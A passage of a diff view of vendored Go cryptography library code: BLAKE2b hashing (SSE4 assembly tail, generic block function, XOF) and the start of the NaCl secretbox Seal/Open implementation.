PINSRQ $1, i7*8(src), m3
|
||||
|
||||
// func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
TEXT ·hashBlocksSSE4(SB), 4, $288-48 // frame size = 272 + 16 byte alignment
|
||||
MOVQ h+0(FP), AX
|
||||
MOVQ c+8(FP), BX
|
||||
MOVQ flag+16(FP), CX
|
||||
MOVQ blocks_base+24(FP), SI
|
||||
MOVQ blocks_len+32(FP), DI
|
||||
|
||||
MOVQ SP, R10
|
||||
ADDQ $15, R10
|
||||
ANDQ $~15, R10
|
||||
|
||||
MOVOU ·iv3<>(SB), X0
|
||||
MOVO X0, 0(R10)
|
||||
XORQ CX, 0(R10) // 0(R10) = ·iv3 ^ (CX || 0)
|
||||
|
||||
MOVOU ·c40<>(SB), X13
|
||||
MOVOU ·c48<>(SB), X14
|
||||
|
||||
MOVOU 0(AX), X12
|
||||
MOVOU 16(AX), X15
|
||||
|
||||
MOVQ 0(BX), R8
|
||||
MOVQ 8(BX), R9
|
||||
|
||||
loop:
|
||||
ADDQ $128, R8
|
||||
CMPQ R8, $128
|
||||
JGE noinc
|
||||
INCQ R9
|
||||
|
||||
noinc:
|
||||
MOVQ R8, X8
|
||||
PINSRQ $1, R9, X8
|
||||
|
||||
MOVO X12, X0
|
||||
MOVO X15, X1
|
||||
MOVOU 32(AX), X2
|
||||
MOVOU 48(AX), X3
|
||||
MOVOU ·iv0<>(SB), X4
|
||||
MOVOU ·iv1<>(SB), X5
|
||||
MOVOU ·iv2<>(SB), X6
|
||||
|
||||
PXOR X8, X6
|
||||
MOVO 0(R10), X7
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 0, 2, 4, 6, 1, 3, 5, 7)
|
||||
MOVO X8, 16(R10)
|
||||
MOVO X9, 32(R10)
|
||||
MOVO X10, 48(R10)
|
||||
MOVO X11, 64(R10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 8, 10, 12, 14, 9, 11, 13, 15)
|
||||
MOVO X8, 80(R10)
|
||||
MOVO X9, 96(R10)
|
||||
MOVO X10, 112(R10)
|
||||
MOVO X11, 128(R10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 14, 4, 9, 13, 10, 8, 15, 6)
|
||||
MOVO X8, 144(R10)
|
||||
MOVO X9, 160(R10)
|
||||
MOVO X10, 176(R10)
|
||||
MOVO X11, 192(R10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 1, 0, 11, 5, 12, 2, 7, 3)
|
||||
MOVO X8, 208(R10)
|
||||
MOVO X9, 224(R10)
|
||||
MOVO X10, 240(R10)
|
||||
MOVO X11, 256(R10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 11, 12, 5, 15, 8, 0, 2, 13)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 10, 3, 7, 9, 14, 6, 1, 4)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 7, 3, 13, 11, 9, 1, 12, 14)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 2, 5, 4, 15, 6, 10, 0, 8)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 9, 5, 2, 10, 0, 7, 4, 15)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 14, 11, 6, 3, 1, 12, 8, 13)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 2, 6, 0, 8, 12, 10, 11, 3)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 4, 7, 15, 1, 13, 5, 14, 9)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 12, 1, 14, 4, 5, 15, 13, 10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 0, 6, 9, 8, 7, 3, 2, 11)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 13, 7, 12, 3, 11, 14, 1, 9)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 5, 15, 8, 2, 0, 4, 6, 10)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 6, 14, 11, 0, 15, 9, 3, 8)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 12, 13, 1, 10, 2, 7, 4, 5)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 10, 8, 7, 1, 2, 4, 6, 5)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
LOAD_MSG(X8, X9, X10, X11, SI, 15, 9, 3, 13, 11, 14, 12, 0)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, 16(R10), 32(R10), 48(R10), 64(R10), X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, 80(R10), 96(R10), 112(R10), 128(R10), X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, 144(R10), 160(R10), 176(R10), 192(R10), X11, X13, X14)
|
||||
SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, 208(R10), 224(R10), 240(R10), 256(R10), X11, X13, X14)
|
||||
SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9)
|
||||
|
||||
MOVOU 32(AX), X10
|
||||
MOVOU 48(AX), X11
|
||||
PXOR X0, X12
|
||||
PXOR X1, X15
|
||||
PXOR X2, X10
|
||||
PXOR X3, X11
|
||||
PXOR X4, X12
|
||||
PXOR X5, X15
|
||||
PXOR X6, X10
|
||||
PXOR X7, X11
|
||||
MOVOU X10, 32(AX)
|
||||
MOVOU X11, 48(AX)
|
||||
|
||||
LEAQ 128(SI), SI
|
||||
SUBQ $128, DI
|
||||
JNE loop
|
||||
|
||||
MOVOU X12, 0(AX)
|
||||
MOVOU X15, 16(AX)
|
||||
|
||||
MOVQ R8, 0(BX)
|
||||
MOVQ R9, 8(BX)
|
||||
|
||||
RET
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package blake2b
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"math/bits"
|
||||
)
|
||||
|
||||
// the precomputed values for BLAKE2b
|
||||
// there are 12 16-byte arrays - one for each round
|
||||
// the entries are calculated from the sigma constants.
|
||||
var precomputed = [12][16]byte{
|
||||
{0, 2, 4, 6, 1, 3, 5, 7, 8, 10, 12, 14, 9, 11, 13, 15},
|
||||
{14, 4, 9, 13, 10, 8, 15, 6, 1, 0, 11, 5, 12, 2, 7, 3},
|
||||
{11, 12, 5, 15, 8, 0, 2, 13, 10, 3, 7, 9, 14, 6, 1, 4},
|
||||
{7, 3, 13, 11, 9, 1, 12, 14, 2, 5, 4, 15, 6, 10, 0, 8},
|
||||
{9, 5, 2, 10, 0, 7, 4, 15, 14, 11, 6, 3, 1, 12, 8, 13},
|
||||
{2, 6, 0, 8, 12, 10, 11, 3, 4, 7, 15, 1, 13, 5, 14, 9},
|
||||
{12, 1, 14, 4, 5, 15, 13, 10, 0, 6, 9, 8, 7, 3, 2, 11},
|
||||
{13, 7, 12, 3, 11, 14, 1, 9, 5, 15, 8, 2, 0, 4, 6, 10},
|
||||
{6, 14, 11, 0, 15, 9, 3, 8, 12, 13, 1, 10, 2, 7, 4, 5},
|
||||
{10, 8, 7, 1, 2, 4, 6, 5, 15, 9, 3, 13, 11, 14, 12, 0},
|
||||
{0, 2, 4, 6, 1, 3, 5, 7, 8, 10, 12, 14, 9, 11, 13, 15}, // equal to the first
|
||||
{14, 4, 9, 13, 10, 8, 15, 6, 1, 0, 11, 5, 12, 2, 7, 3}, // equal to the second
|
||||
}
|
||||
|
||||
func hashBlocksGeneric(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
|
||||
var m [16]uint64
|
||||
c0, c1 := c[0], c[1]
|
||||
|
||||
for i := 0; i < len(blocks); {
|
||||
c0 += BlockSize
|
||||
if c0 < BlockSize {
|
||||
c1++
|
||||
}
|
||||
|
||||
v0, v1, v2, v3, v4, v5, v6, v7 := h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]
|
||||
v8, v9, v10, v11, v12, v13, v14, v15 := iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7]
|
||||
v12 ^= c0
|
||||
v13 ^= c1
|
||||
v14 ^= flag
|
||||
|
||||
for j := range m {
|
||||
m[j] = binary.LittleEndian.Uint64(blocks[i:])
|
||||
i += 8
|
||||
}
|
||||
|
||||
for j := range precomputed {
|
||||
s := &(precomputed[j])
|
||||
|
||||
v0 += m[s[0]]
|
||||
v0 += v4
|
||||
v12 ^= v0
|
||||
v12 = bits.RotateLeft64(v12, -32)
|
||||
v8 += v12
|
||||
v4 ^= v8
|
||||
v4 = bits.RotateLeft64(v4, -24)
|
||||
v1 += m[s[1]]
|
||||
v1 += v5
|
||||
v13 ^= v1
|
||||
v13 = bits.RotateLeft64(v13, -32)
|
||||
v9 += v13
|
||||
v5 ^= v9
|
||||
v5 = bits.RotateLeft64(v5, -24)
|
||||
v2 += m[s[2]]
|
||||
v2 += v6
|
||||
v14 ^= v2
|
||||
v14 = bits.RotateLeft64(v14, -32)
|
||||
v10 += v14
|
||||
v6 ^= v10
|
||||
v6 = bits.RotateLeft64(v6, -24)
|
||||
v3 += m[s[3]]
|
||||
v3 += v7
|
||||
v15 ^= v3
|
||||
v15 = bits.RotateLeft64(v15, -32)
|
||||
v11 += v15
|
||||
v7 ^= v11
|
||||
v7 = bits.RotateLeft64(v7, -24)
|
||||
|
||||
v0 += m[s[4]]
|
||||
v0 += v4
|
||||
v12 ^= v0
|
||||
v12 = bits.RotateLeft64(v12, -16)
|
||||
v8 += v12
|
||||
v4 ^= v8
|
||||
v4 = bits.RotateLeft64(v4, -63)
|
||||
v1 += m[s[5]]
|
||||
v1 += v5
|
||||
v13 ^= v1
|
||||
v13 = bits.RotateLeft64(v13, -16)
|
||||
v9 += v13
|
||||
v5 ^= v9
|
||||
v5 = bits.RotateLeft64(v5, -63)
|
||||
v2 += m[s[6]]
|
||||
v2 += v6
|
||||
v14 ^= v2
|
||||
v14 = bits.RotateLeft64(v14, -16)
|
||||
v10 += v14
|
||||
v6 ^= v10
|
||||
v6 = bits.RotateLeft64(v6, -63)
|
||||
v3 += m[s[7]]
|
||||
v3 += v7
|
||||
v15 ^= v3
|
||||
v15 = bits.RotateLeft64(v15, -16)
|
||||
v11 += v15
|
||||
v7 ^= v11
|
||||
v7 = bits.RotateLeft64(v7, -63)
|
||||
|
||||
v0 += m[s[8]]
|
||||
v0 += v5
|
||||
v15 ^= v0
|
||||
v15 = bits.RotateLeft64(v15, -32)
|
||||
v10 += v15
|
||||
v5 ^= v10
|
||||
v5 = bits.RotateLeft64(v5, -24)
|
||||
v1 += m[s[9]]
|
||||
v1 += v6
|
||||
v12 ^= v1
|
||||
v12 = bits.RotateLeft64(v12, -32)
|
||||
v11 += v12
|
||||
v6 ^= v11
|
||||
v6 = bits.RotateLeft64(v6, -24)
|
||||
v2 += m[s[10]]
|
||||
v2 += v7
|
||||
v13 ^= v2
|
||||
v13 = bits.RotateLeft64(v13, -32)
|
||||
v8 += v13
|
||||
v7 ^= v8
|
||||
v7 = bits.RotateLeft64(v7, -24)
|
||||
v3 += m[s[11]]
|
||||
v3 += v4
|
||||
v14 ^= v3
|
||||
v14 = bits.RotateLeft64(v14, -32)
|
||||
v9 += v14
|
||||
v4 ^= v9
|
||||
v4 = bits.RotateLeft64(v4, -24)
|
||||
|
||||
v0 += m[s[12]]
|
||||
v0 += v5
|
||||
v15 ^= v0
|
||||
v15 = bits.RotateLeft64(v15, -16)
|
||||
v10 += v15
|
||||
v5 ^= v10
|
||||
v5 = bits.RotateLeft64(v5, -63)
|
||||
v1 += m[s[13]]
|
||||
v1 += v6
|
||||
v12 ^= v1
|
||||
v12 = bits.RotateLeft64(v12, -16)
|
||||
v11 += v12
|
||||
v6 ^= v11
|
||||
v6 = bits.RotateLeft64(v6, -63)
|
||||
v2 += m[s[14]]
|
||||
v2 += v7
|
||||
v13 ^= v2
|
||||
v13 = bits.RotateLeft64(v13, -16)
|
||||
v8 += v13
|
||||
v7 ^= v8
|
||||
v7 = bits.RotateLeft64(v7, -63)
|
||||
v3 += m[s[15]]
|
||||
v3 += v4
|
||||
v14 ^= v3
|
||||
v14 = bits.RotateLeft64(v14, -16)
|
||||
v9 += v14
|
||||
v4 ^= v9
|
||||
v4 = bits.RotateLeft64(v4, -63)
|
||||
|
||||
}
|
||||
|
||||
h[0] ^= v0 ^ v8
|
||||
h[1] ^= v1 ^ v9
|
||||
h[2] ^= v2 ^ v10
|
||||
h[3] ^= v3 ^ v11
|
||||
h[4] ^= v4 ^ v12
|
||||
h[5] ^= v5 ^ v13
|
||||
h[6] ^= v6 ^ v14
|
||||
h[7] ^= v7 ^ v15
|
||||
}
|
||||
c[0], c[1] = c0, c1
|
||||
}
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !amd64 || purego || !gc
|
||||
|
||||
package blake2b
|
||||
|
||||
func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
|
||||
hashBlocksGeneric(h, c, flag, blocks)
|
||||
}
|
||||
|
|
@ -0,0 +1,177 @@
|
|||
// Copyright 2017 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package blake2b
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// XOF defines the interface to hash functions that
|
||||
// support arbitrary-length output.
|
||||
type XOF interface {
|
||||
// Write absorbs more data into the hash's state. It panics if called
|
||||
// after Read.
|
||||
io.Writer
|
||||
|
||||
// Read reads more output from the hash. It returns io.EOF if the limit
|
||||
// has been reached.
|
||||
io.Reader
|
||||
|
||||
// Clone returns a copy of the XOF in its current state.
|
||||
Clone() XOF
|
||||
|
||||
// Reset resets the XOF to its initial state.
|
||||
Reset()
|
||||
}
|
||||
|
||||
// OutputLengthUnknown can be used as the size argument to NewXOF to indicate
|
||||
// the length of the output is not known in advance.
|
||||
const OutputLengthUnknown = 0
|
||||
|
||||
// magicUnknownOutputLength is a magic value for the output size that indicates
|
||||
// an unknown number of output bytes.
|
||||
const magicUnknownOutputLength = (1 << 32) - 1
|
||||
|
||||
// maxOutputLength is the absolute maximum number of bytes to produce when the
|
||||
// number of output bytes is unknown.
|
||||
const maxOutputLength = (1 << 32) * 64
|
||||
|
||||
// NewXOF creates a new variable-output-length hash. The hash either produce a
|
||||
// known number of bytes (1 <= size < 2**32-1), or an unknown number of bytes
|
||||
// (size == OutputLengthUnknown). In the latter case, an absolute limit of
|
||||
// 256GiB applies.
|
||||
//
|
||||
// A non-nil key turns the hash into a MAC. The key must between
|
||||
// zero and 32 bytes long.
|
||||
func NewXOF(size uint32, key []byte) (XOF, error) {
|
||||
if len(key) > Size {
|
||||
return nil, errKeySize
|
||||
}
|
||||
if size == magicUnknownOutputLength {
|
||||
// 2^32-1 indicates an unknown number of bytes and thus isn't a
|
||||
// valid length.
|
||||
return nil, errors.New("blake2b: XOF length too large")
|
||||
}
|
||||
if size == OutputLengthUnknown {
|
||||
size = magicUnknownOutputLength
|
||||
}
|
||||
x := &xof{
|
||||
d: digest{
|
||||
size: Size,
|
||||
keyLen: len(key),
|
||||
},
|
||||
length: size,
|
||||
}
|
||||
copy(x.d.key[:], key)
|
||||
x.Reset()
|
||||
return x, nil
|
||||
}
|
||||
|
||||
type xof struct {
|
||||
d digest
|
||||
length uint32
|
||||
remaining uint64
|
||||
cfg, root, block [Size]byte
|
||||
offset int
|
||||
nodeOffset uint32
|
||||
readMode bool
|
||||
}
|
||||
|
||||
func (x *xof) Write(p []byte) (n int, err error) {
|
||||
if x.readMode {
|
||||
panic("blake2b: write to XOF after read")
|
||||
}
|
||||
return x.d.Write(p)
|
||||
}
|
||||
|
||||
func (x *xof) Clone() XOF {
|
||||
clone := *x
|
||||
return &clone
|
||||
}
|
||||
|
||||
func (x *xof) Reset() {
|
||||
x.cfg[0] = byte(Size)
|
||||
binary.LittleEndian.PutUint32(x.cfg[4:], uint32(Size)) // leaf length
|
||||
binary.LittleEndian.PutUint32(x.cfg[12:], x.length) // XOF length
|
||||
x.cfg[17] = byte(Size) // inner hash size
|
||||
|
||||
x.d.Reset()
|
||||
x.d.h[1] ^= uint64(x.length) << 32
|
||||
|
||||
x.remaining = uint64(x.length)
|
||||
if x.remaining == magicUnknownOutputLength {
|
||||
x.remaining = maxOutputLength
|
||||
}
|
||||
x.offset, x.nodeOffset = 0, 0
|
||||
x.readMode = false
|
||||
}
|
||||
|
||||
func (x *xof) Read(p []byte) (n int, err error) {
|
||||
if !x.readMode {
|
||||
x.d.finalize(&x.root)
|
||||
x.readMode = true
|
||||
}
|
||||
|
||||
if x.remaining == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
|
||||
n = len(p)
|
||||
if uint64(n) > x.remaining {
|
||||
n = int(x.remaining)
|
||||
p = p[:n]
|
||||
}
|
||||
|
||||
if x.offset > 0 {
|
||||
blockRemaining := Size - x.offset
|
||||
if n < blockRemaining {
|
||||
x.offset += copy(p, x.block[x.offset:])
|
||||
x.remaining -= uint64(n)
|
||||
return
|
||||
}
|
||||
copy(p, x.block[x.offset:])
|
||||
p = p[blockRemaining:]
|
||||
x.offset = 0
|
||||
x.remaining -= uint64(blockRemaining)
|
||||
}
|
||||
|
||||
for len(p) >= Size {
|
||||
binary.LittleEndian.PutUint32(x.cfg[8:], x.nodeOffset)
|
||||
x.nodeOffset++
|
||||
|
||||
x.d.initConfig(&x.cfg)
|
||||
x.d.Write(x.root[:])
|
||||
x.d.finalize(&x.block)
|
||||
|
||||
copy(p, x.block[:])
|
||||
p = p[Size:]
|
||||
x.remaining -= uint64(Size)
|
||||
}
|
||||
|
||||
if todo := len(p); todo > 0 {
|
||||
if x.remaining < uint64(Size) {
|
||||
x.cfg[0] = byte(x.remaining)
|
||||
}
|
||||
binary.LittleEndian.PutUint32(x.cfg[8:], x.nodeOffset)
|
||||
x.nodeOffset++
|
||||
|
||||
x.d.initConfig(&x.cfg)
|
||||
x.d.Write(x.root[:])
|
||||
x.d.finalize(&x.block)
|
||||
|
||||
x.offset = copy(p, x.block[:todo])
|
||||
x.remaining -= uint64(todo)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (d *digest) initConfig(cfg *[Size]byte) {
|
||||
d.offset, d.c[0], d.c[1] = 0, 0, 0
|
||||
for i := range d.h {
|
||||
d.h[i] = iv[i] ^ binary.LittleEndian.Uint64(cfg[i*8:])
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
// Copyright 2017 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package blake2b
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"hash"
|
||||
)
|
||||
|
||||
func init() {
|
||||
newHash256 := func() hash.Hash {
|
||||
h, _ := New256(nil)
|
||||
return h
|
||||
}
|
||||
newHash384 := func() hash.Hash {
|
||||
h, _ := New384(nil)
|
||||
return h
|
||||
}
|
||||
|
||||
newHash512 := func() hash.Hash {
|
||||
h, _ := New512(nil)
|
||||
return h
|
||||
}
|
||||
|
||||
crypto.RegisterHash(crypto.BLAKE2b_256, newHash256)
|
||||
crypto.RegisterHash(crypto.BLAKE2b_384, newHash384)
|
||||
crypto.RegisterHash(crypto.BLAKE2b_512, newHash512)
|
||||
}
|
||||
|
|
@ -0,0 +1,173 @@
|
|||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
/*
|
||||
Package secretbox encrypts and authenticates small messages.
|
||||
|
||||
Secretbox uses XSalsa20 and Poly1305 to encrypt and authenticate messages with
|
||||
secret-key cryptography. The length of messages is not hidden.
|
||||
|
||||
It is the caller's responsibility to ensure the uniqueness of nonces—for
|
||||
example, by using nonce 1 for the first message, nonce 2 for the second
|
||||
message, etc. Nonces are long enough that randomly generated nonces have
|
||||
negligible risk of collision.
|
||||
|
||||
Messages should be small because:
|
||||
|
||||
1. The whole message needs to be held in memory to be processed.
|
||||
|
||||
2. Using large messages pressures implementations on small machines to decrypt
|
||||
and process plaintext before authenticating it. This is very dangerous, and
|
||||
this API does not allow it, but a protocol that uses excessive message sizes
|
||||
might present some implementations with no other choice.
|
||||
|
||||
3. Fixed overheads will be sufficiently amortised by messages as small as 8KB.
|
||||
|
||||
4. Performance may be improved by working with messages that fit into data caches.
|
||||
|
||||
Thus large amounts of data should be chunked so that each message is small.
|
||||
(Each message still needs a unique nonce.) If in doubt, 16KB is a reasonable
|
||||
chunk size.
|
||||
|
||||
This package is interoperable with NaCl: https://nacl.cr.yp.to/secretbox.html.
|
||||
*/
|
||||
package secretbox
|
||||
|
||||
import (
|
||||
"golang.org/x/crypto/internal/alias"
|
||||
"golang.org/x/crypto/internal/poly1305"
|
||||
"golang.org/x/crypto/salsa20/salsa"
|
||||
)
|
||||
|
||||
// Overhead is the number of bytes of overhead when boxing a message.
|
||||
const Overhead = poly1305.TagSize
|
||||
|
||||
// setup produces a sub-key and Salsa20 counter given a nonce and key.
|
||||
func setup(subKey *[32]byte, counter *[16]byte, nonce *[24]byte, key *[32]byte) {
|
||||
// We use XSalsa20 for encryption so first we need to generate a
|
||||
// key and nonce with HSalsa20.
|
||||
var hNonce [16]byte
|
||||
copy(hNonce[:], nonce[:])
|
||||
salsa.HSalsa20(subKey, &hNonce, key, &salsa.Sigma)
|
||||
|
||||
// The final 8 bytes of the original nonce form the new nonce.
|
||||
copy(counter[:], nonce[16:])
|
||||
}
|
||||
|
||||
// sliceForAppend takes a slice and a requested number of bytes. It returns a
|
||||
// slice with the contents of the given slice followed by that many bytes and a
|
||||
// second slice that aliases into it and contains only the extra bytes. If the
|
||||
// original slice has sufficient capacity then no allocation is performed.
|
||||
func sliceForAppend(in []byte, n int) (head, tail []byte) {
|
||||
if total := len(in) + n; cap(in) >= total {
|
||||
head = in[:total]
|
||||
} else {
|
||||
head = make([]byte, total)
|
||||
copy(head, in)
|
||||
}
|
||||
tail = head[len(in):]
|
||||
return
|
||||
}
|
||||
|
||||
// Seal appends an encrypted and authenticated copy of message to out, which
|
||||
// must not overlap message. The key and nonce pair must be unique for each
|
||||
// distinct message and the output will be Overhead bytes longer than message.
|
||||
func Seal(out, message []byte, nonce *[24]byte, key *[32]byte) []byte {
|
||||
var subKey [32]byte
|
||||
var counter [16]byte
|
||||
setup(&subKey, &counter, nonce, key)
|
||||
|
||||
// The Poly1305 key is generated by encrypting 32 bytes of zeros. Since
|
||||
// Salsa20 works with 64-byte blocks, we also generate 32 bytes of
|
||||
// keystream as a side effect.
|
||||
var firstBlock [64]byte
|
||||
salsa.XORKeyStream(firstBlock[:], firstBlock[:], &counter, &subKey)
|
||||
|
||||
var poly1305Key [32]byte
|
||||
copy(poly1305Key[:], firstBlock[:])
|
||||
|
||||
ret, out := sliceForAppend(out, len(message)+poly1305.TagSize)
|
||||
if alias.AnyOverlap(out, message) {
|
||||
panic("nacl: invalid buffer overlap")
|
||||
}
|
||||
|
||||
// We XOR up to 32 bytes of message with the keystream generated from
|
||||
// the first block.
|
||||
firstMessageBlock := message
|
||||
if len(firstMessageBlock) > 32 {
|
||||
firstMessageBlock = firstMessageBlock[:32]
|
||||
}
|
||||
|
||||
tagOut := out
|
||||
out = out[poly1305.TagSize:]
|
||||
for i, x := range firstMessageBlock {
|
||||
out[i] = firstBlock[32+i] ^ x
|
||||
}
|
||||
message = message[len(firstMessageBlock):]
|
||||
ciphertext := out
|
||||
out = out[len(firstMessageBlock):]
|
||||
|
||||
// Now encrypt the rest.
|
||||
counter[8] = 1
|
||||
salsa.XORKeyStream(out, message, &counter, &subKey)
|
||||
|
||||
var tag [poly1305.TagSize]byte
|
||||
poly1305.Sum(&tag, ciphertext, &poly1305Key)
|
||||
copy(tagOut, tag[:])
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// Open authenticates and decrypts a box produced by Seal and appends the
|
||||
// message to out, which must not overlap box. The output will be Overhead
|
||||
// bytes smaller than box.
|
||||
func Open(out, box []byte, nonce *[24]byte, key *[32]byte) ([]byte, bool) {
|
||||
if len(box) < Overhead {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
var subKey [32]byte
|
||||
var counter [16]byte
|
||||
setup(&subKey, &counter, nonce, key)
|
||||
|
||||
// The Poly1305 key is generated by encrypting 32 bytes of zeros. Since
|
||||
// Salsa20 works with 64-byte blocks, we also generate 32 bytes of
|
||||
// keystream as a side effect.
|
||||
var firstBlock [64]byte
|
||||
salsa.XORKeyStream(firstBlock[:], firstBlock[:], &counter, &subKey)
|
||||
|
||||
var poly1305Key [32]byte
|
||||
copy(poly1305Key[:], firstBlock[:])
|
||||
var tag [poly1305.TagSize]byte
|
||||
copy(tag[:], box)
|
||||
|
||||
if !poly1305.Verify(&tag, box[poly1305.TagSize:], &poly1305Key) {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
ret, out := sliceForAppend(out, len(box)-Overhead)
|
||||
if alias.AnyOverlap(out, box) {
|
||||
panic("nacl: invalid buffer overlap")
|
||||
}
|
||||
|
||||
